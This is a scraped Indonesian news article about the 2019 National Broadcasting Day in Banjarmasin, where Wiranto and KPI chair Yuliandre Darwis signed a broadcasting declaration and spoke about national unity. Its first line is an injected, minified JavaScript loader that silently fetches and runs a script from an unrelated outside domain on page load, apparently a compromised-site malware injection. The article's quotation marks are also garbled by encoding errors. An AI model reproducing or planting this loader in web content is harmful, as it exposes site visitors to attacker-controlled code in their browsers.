(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Peringatan Hari Penyiaran Nasional (Harsiarnas) ke-86 tahun 2019, yang diselenggarakan di Kalsel menjadi sejarah bagi penyiaran di Indonesia.
Dalam peringatan Harsiarnas ke-86 deklarasi “Dari Kalimantan Selatan Indonesia Menyiarkan Baik†disematkan dalam bentuk prasasti penyiaran yang akan ditempatkan di Tugu 0 Km Banjarmasin.
Menkopulhukam Wiranto dan Kepala KPI Pusat, Yuliandre Darwis PhD didampingi oleh Sekdaprov Kalsel H Abdul Haris Makkie menandatangani prasasti penyiaran tersebut, Selasa (2/4/2019) di Hotel G’Sign.
Menkopolhukam Wiranto yang hadir dan menjadi keynote speaker, serta membuka secara resmi Seminar Nasional KPI 2019 mengatakan, pentingnya peran Komisi Penyiaran Indonesia (KPI) dalam menjaga persatuan, dengan menyajikan penyiaran yang sehat dan berkualitas.
“Merawat persatuan kewajiban mutlak dari seluruh warga Indonesia, organisasi kemasyarakatan, termasuk dari Komisi Penyiaran Indonesia,†ujarnya.
Ditegaskan Wiranto, dengan menjaga persatuan maka akan bisa membangun bangsa dan memajukannya.
Dicontohkan Wiranto, bagaimana Vietnam yang dulu berperang antar bangsanya sendiri, kemudian bisa didamaikan dan hasilnya pembangunan yang pesat. Contoh lainnya adalah negara Jerman yang dulu dipisahkan tembok Berlin, yang memisahkan antara Jerman Barat dan Jerman Timur, kemudian bisa bersatu dan bisa menjadi negara maju.
Ada juga negara yang tidak bisa menjaga persatuan sehingga menimbulkan perang saudara, seperti di Irak, Libya, Afganistan.
“Kawal persatuan yang menjadi nafas Indonesia, mari kita jaga persatuan di negeri yang bhineka ini,†ajaknya.
Terkait tagline “Dari Kalsel Indonesia Menyiarkan Baikâ€ÂÂ, dijelaskan Ketua KPI Pusat Yuliandre, merupakan komitmen dari seluruh lembaga penyiaran untuk menyiarkan hal baik, khususnya pada tahun politik 2019 ini.
“Tagline ini merupakan komitmen dari seluruh lembaga penyiaran dan seluruh lembaga penyiaran di Indonesia yang berkumpul pada momentum Harsiarnas ini, dan jadilah tagline Dari Kalsel Indonesia Menyiarkan Baik dapat diwujudkan di tempat ini,†jelas Yuliandre.
Ditambahkan Yuliandre, tagline ini juga sejalan dengan kondisi saat ini, di mana media mainstream seperti televisi dan radio, masih menjadi lembaga penyiaran terpercaya oleh masyarakat untuk mendapatkan informasi atau berita terbaru, yang dapat dipastikan bukan hoax atau berita bohong.
“Apalagi lembaga penyiaran sudah memiliki pengawas resmi yakni KPI, yang dapat menjamin keabsahan informasi yang disampaikan. Sementara media lainnya, khususnya media online, belum memiliki lembaga pengawas tersendiri,†pungkasnya. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.